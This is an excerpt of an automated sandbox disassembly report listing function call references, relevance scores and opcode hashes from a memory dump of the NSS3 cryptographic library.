Part of subcall function 6C7CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7CFBB1

SECITEM_CopyItem_Util.NSS3(00000000,-0000000C,6C777304,?,?,?,00000000,6C777310,?,?,00000004,?), ref: 6C77869F
PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,?,?,?,?,?,00000000,6C777310,?,?,00000004,?), ref: 6C7786D7
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,00000000,6C777310,?,?,00000004,?), ref: 6C778706
PORT_ArenaAlloc_Util.NSS3(00000000,00000018,00000000,6C777310,00000004,00000000,?,6C778A20,00000004,00000000,6C777310,?,?,00000004,?), ref: 6C778656

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000008,00000000,6C777310,00000004,00000000,?,6C778A20,00000004,00000000,6C777310,?,?,00000004,?), ref: 6C778763
PORT_ArenaGrow_Util.NSS3(00000000,6C778A20,?,?,00000000,6C777310,00000004,00000000,?,6C778A20,00000004,00000000,6C777310,?,?,00000004), ref: 6C778795

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$CopyGrow_Item_Value$AllocateCriticalEnterSectionUnlockmemcpy
String ID:
API String ID: 1239214001-0
Opcode ID: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction ID: 31d47756034f6970cc20ed5eb121c2746c92799eb438975f3b7340698216ea62
Opcode Fuzzy Hash: edab0757da17ce9ed80277259f892125aa72fc68a5204f4ba0abaa766cbc824c
Instruction Fuzzy Hash: 3841F471600218AFEB208F74CE04B6737A9EF52358F15822AEC16AB751E735E904CBF1

Function 6C7BAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C7BAB3E,?,?,?), ref: 6C7BAC35

Part of subcall function 6C79CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C79CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C7BAB3E,?,?,?), ref: 6C7BAC55

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C7BAB3E,?,?), ref: 6C7BAC70

Part of subcall function 6C79E300: TlsGetValue.KERNEL32 ref: 6C79E33C
Part of subcall function 6C79E300: EnterCriticalSection.KERNEL32(?), ref: 6C79E350
Part of subcall function 6C79E300: PR_Unlock.NSS3(?), ref: 6C79E5BC
Part of subcall function 6C79E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C79E5CA
Part of subcall function 6C79E300: TlsGetValue.KERNEL32 ref: 6C79E5F2
Part of subcall function 6C79E300: EnterCriticalSection.KERNEL32(?), ref: 6C79E606
Part of subcall function 6C79E300: PORT_Alloc_Util.NSS3(?), ref: 6C79E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C7BAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7BAB3E), ref: 6C7BACD7
PORT_Alloc_Util.NSS3(?), ref: 6C7BAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C7BAD2B

Part of subcall function 6C79F360: TlsGetValue.KERNEL32(00000000,?,6C7BA904,?), ref: 6C79F38B
Part of subcall function 6C79F360: EnterCriticalSection.KERNEL32(?,?,?,6C7BA904,?), ref: 6C79F3A0
Part of subcall function 6C79F360: PR_Unlock.NSS3(?,?,?,?,6C7BA904,?), ref: 6C79F3D3

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 8871a50d3e0623bad1c21d46d8cefd0280fc8b040e5a0a770a413914632d8285
Instruction ID: 75763f1e896428b55189167cf03b12e3c40a70d69ccbae5bc35ce2a8440c3234
Opcode Fuzzy Hash: 8871a50d3e0623bad1c21d46d8cefd0280fc8b040e5a0a770a413914632d8285
Instruction Fuzzy Hash: 6E3129B1E006055FEB00AF69DE459AF7776AF84328B198138E8156B741EB31ED0587A1

Function 6C798C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C798C7C

Part of subcall function 6C839DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C880A27), ref: 6C839DC6
Part of subcall function 6C839DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C880A27), ref: 6C839DD1
Part of subcall function 6C839DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C839DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C798CB0
TlsGetValue.KERNEL32 ref: 6C798CD1
EnterCriticalSection.KERNEL32(?), ref: 6C798CE5
PR_Unlock.NSS3(?), ref: 6C798D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C798D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C798D93

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: a09e1d47aac0acbf48103f2a95008c7275061bdd1559db8309800eb0f3ff916e
Instruction ID: 76c7503d2d4712bcdab489a2ad3acf06ea938367a9810c266db842fc3984b6ef
Opcode Fuzzy Hash: a09e1d47aac0acbf48103f2a95008c7275061bdd1559db8309800eb0f3ff916e
Instruction Fuzzy Hash: 39316A71A01201AFDB109F68EE4579AB7B0BF59318F24013AEA1967F60D731B924C7C1

Function 6C7B8500 Relevance: 10.6, APIs: 7, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C7B95DC,00000000,00000000,00000000,?,6C7B95DC,00000000,00000000,?,6C797F4A,00000000,?,00000000,00000000), ref: 6C7B8517

Part of subcall function 6C7CBE30: SECOID_FindOID_Util.NSS3(6C78311B,00000000,?,6C78311B,?), ref: 6C7CBE44

PORT_NewArena_Util.NSS3(00000800,00000000,00000000,?,6C797F4A,00000000,?,00000000,00000000), ref: 6C7B8585
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,00000000,00000000,?,6C797F4A,00000000,?,00000000,00000000), ref: 6C7B859A
SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6C89D8C4,6C7B95D0,?,?,?,00000000,00000000,?,6C797F4A,00000000,?,00000000,00000000), ref: 6C7B85CC
SECOID_GetAlgorithmTag_Util.NSS3(-0000001C,?,?,?,?,?,?,?,00000000,00000000,?,6C797F4A,00000000,?,00000000,00000000), ref: 6C7B85E1
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,00000000,00000000,?,6C797F4A,00000000,?), ref: 6C7B85F4

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$AlgorithmArena_Tag_$Alloc_ArenaDecodeFindFreeItem_
String ID:
API String ID: 738345241-0
Opcode ID: 98286262c41d093911293775ba111924b29694ac4e8b9622e0393eb77be94b7b
Instruction ID: 79e5f2174df3541264bb871ba89e926110110a492d912c6e2c5cda8109137d3c
Opcode Fuzzy Hash: 98286262c41d093911293775ba111924b29694ac4e8b9622e0393eb77be94b7b
Instruction Fuzzy Hash: 073105A2E4120357E7108D2CDF84B6A2219AB2139CF550673F815F7EC3FB34D99486A6

Function 6C784590 Relevance: 10.6, APIs: 7, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7845B5

Part of subcall function 6C7D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1000
Part of subcall function 6C7D0FF0: PR_NewLock.NSS3(?,00000800,6C76EF74,00000000), ref: 6C7D1016
Part of subcall function 6C7D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7787ED,00000008,?,00000800,6C76EF74,00000000), ref: 6C7D102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C7845C9

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7845E6
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C7845F8

Part of subcall function 6C7CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7C8D2D,?,00000000,?), ref: 6C7CFB85
Part of subcall function 6C7CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7CFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C784647
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C89A0F4,?), ref: 6C78468C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7846A1

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpymemset
String ID:
API String ID: 1594507116-0
Opcode ID: 04a47b467ff2c7a51fc48ee726e42102fe5889fc9a9b9863c55f173bb15e050c
Instruction ID: ee61dd85001e7a13a95797a2b512f0b433e6cffbe5886d8dac9bf988bbc391bf
Opcode Fuzzy Hash: 04a47b467ff2c7a51fc48ee726e42102fe5889fc9a9b9863c55f173bb15e050c
Instruction Fuzzy Hash: F231F8B1F013149BFF108E58DE657AA36A8DB41318F044038EA05DF785E7B9D40887A2

Function 6C7EC640 Relevance: 10.6, APIs: 7, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000140), ref: 6C7EC64B

Part of subcall function 6C7D0D30: calloc.MOZGLUE ref: 6C7D0D50
Part of subcall function 6C7D0D30: TlsGetValue.KERNEL32 ref: 6C7D0D6D

SECITEM_CopyItem_Util.NSS3(00000000,000000EC,?), ref: 6C7EC69E
free.MOZGLUE(00000000), ref: 6C7EC6C1

Part of subcall function 6C7C8800: TlsGetValue.KERNEL32(?,6C7D085A,00000000,?,6C778369,?), ref: 6C7C8821
Part of subcall function 6C7C8800: TlsGetValue.KERNEL32(?,?,6C7D085A,00000000,?,6C778369,?), ref: 6C7C883D
Part of subcall function 6C7C8800: EnterCriticalSection.KERNEL32(?,?,?,6C7D085A,00000000,?,6C778369,?), ref: 6C7C8856
Part of subcall function 6C7C8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C7C8887
Part of subcall function 6C7C8800: PR_Unlock.NSS3(?,?,?,?,6C7D085A,00000000,?,6C778369,?), ref: 6C7C8899

PORT_Strdup_Util.NSS3(?), ref: 6C7EC6DE
PORT_Strdup_Util.NSS3(?), ref: 6C7EC6F4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C7EC744
PK11_GenerateRandom.NSS3(-0000007B,0000001E), ref: 6C7EC75B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Value$Strdup_$Alloc_CondCopyCriticalEnterGenerateItem_K11_RandomSectionUnlockWait_getpidcallocfree
String ID:
API String ID: 1151631674-0
Opcode ID: fa644da53231cf172e5fd21768df0c88e2f619b73b22a068c5723f445b405085
Instruction ID: afd80a0e5a534001e70c4736039202903cb98485280d9d6d482ae94b372ef4c3
Opcode Fuzzy Hash: fa644da53231cf172e5fd21768df0c88e2f619b73b22a068c5723f445b405085
Instruction Fuzzy Hash: 6C3107B65017448AE7119F36DE897D77AE4AF1830EF080439DC5E8BB92EB71E148C762

Function 6C792E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C78E728,?,00000038,?,?,00000000), ref: 6C792E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C792E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C792E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C792E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C792E9E
PR_Unlock.NSS3(?), ref: 6C792EAB
PR_Unlock.NSS3(?), ref: 6C792F0D

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 740dc5fd66bc9a327244c286cf04eff12cb16ca2d8fad6196806f970791ac274
Instruction ID: 2e499803ba7e1f9422d58e2d95a73182a3db05ad09f1e7a5be23b047907b6d09
Opcode Fuzzy Hash: 740dc5fd66bc9a327244c286cf04eff12cb16ca2d8fad6196806f970791ac274
Instruction Fuzzy Hash: 97310579A00105ABEB11AF28ED8887AB779FF1525CB048174ED08C7B12EB31ED64C7E0

Function 6C7C4470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C787296,00000000), ref: 6C7C4487
EnterCriticalSection.KERNEL32(?,?,?,6C787296,00000000), ref: 6C7C44A0
PR_Unlock.NSS3(?,?,?,?,6C787296,00000000), ref: 6C7C44BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6C787296,00000000), ref: 6C7C44DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6C787296,00000000), ref: 6C7C4530
free.MOZGLUE(?,?,?,?,?,6C787296,00000000), ref: 6C7C453C
PORT_FreeArena_Util.NSS3 ref: 6C7C454F

Part of subcall function 6C7ACAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C78B1EE,D958E836,?,6C7C51C5), ref: 6C7ACAFA
Part of subcall function 6C7ACAA0: PR_UnloadLibrary.NSS3(?,6C7C51C5), ref: 6C7ACB09

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: 227170735e9aa4a74d298255a773c4e27bb61a3280cb62afd528e0de64efd3d7
Instruction ID: 522a221ac3a079e225178d8cf4527b128d2bd7f9a1d56c99b5f7a17afda2dc29
Opcode Fuzzy Hash: 227170735e9aa4a74d298255a773c4e27bb61a3280cb62afd528e0de64efd3d7
Instruction Fuzzy Hash: D6315CB4B04A029FDB10AF79D288669B7F0FF05319F014639E89997B01E734E894DBC2

Function 6C7DCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C7DCD93,?), ref: 6C7DCEEE

Part of subcall function 6C7D14C0: TlsGetValue.KERNEL32 ref: 6C7D14E0
Part of subcall function 6C7D14C0: EnterCriticalSection.KERNEL32 ref: 6C7D14F5
Part of subcall function 6C7D14C0: PR_Unlock.NSS3 ref: 6C7D150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C7DCD93,?), ref: 6C7DCEFC

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C7DCD93,?), ref: 6C7DCF0B

Part of subcall function 6C7D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7D08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C7DCD93,?), ref: 6C7DCF1D

Part of subcall function 6C7CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7C8D2D,?,00000000,?), ref: 6C7CFB85
Part of subcall function 6C7CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7CFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C7DCD93,?), ref: 6C7DCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C7DCD93,?), ref: 6C7DCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C7DCD93,?,?,?,?,?,?,?,?,?,?,?,6C7DCD93,?), ref: 6C7DCF78

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 23b06cac301ea6622304fdb487724930ff259abdcd1d6d36b82333cd1203ff25
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 3311BBB6F002055BE7006EB67E49BABB6EC9F5455EF054039EC09D7741FB60E908C6B2

Function 6C788C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C788C1B
EnterCriticalSection.KERNEL32 ref: 6C788C34
PL_ArenaAllocate.NSS3 ref: 6C788C65
PR_Unlock.NSS3 ref: 6C788C9C
PR_Unlock.NSS3 ref: 6C788CB6

Part of subcall function 6C81DD70: TlsGetValue.KERNEL32 ref: 6C81DD8C
Part of subcall function 6C81DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C81DDB4

Strings

KRAM, xrefs: 6C788C8F

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: b0012d1370203f31cb28ae6fafcd37da2357e9389affb33c410e3dd991e73925
Instruction ID: 547ec394d24962ed5b105f2fa450ea0697163e601ddea7ecd06b024d54738e29
Opcode Fuzzy Hash: b0012d1370203f31cb28ae6fafcd37da2357e9389affb33c410e3dd991e73925
Instruction Fuzzy Hash: 792180B1A066018FD700AF79C588559BBF4FF05318F0589BED988CB701DB31D885CB81

Function 6C798E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C7B2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C784F1C), ref: 6C798EA2

Part of subcall function 6C7BF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C7BF854
Part of subcall function 6C7BF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C7BF868
Part of subcall function 6C7BF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C7BF882
Part of subcall function 6C7BF820: free.MOZGLUE(04C483FF,?,?), ref: 6C7BF889
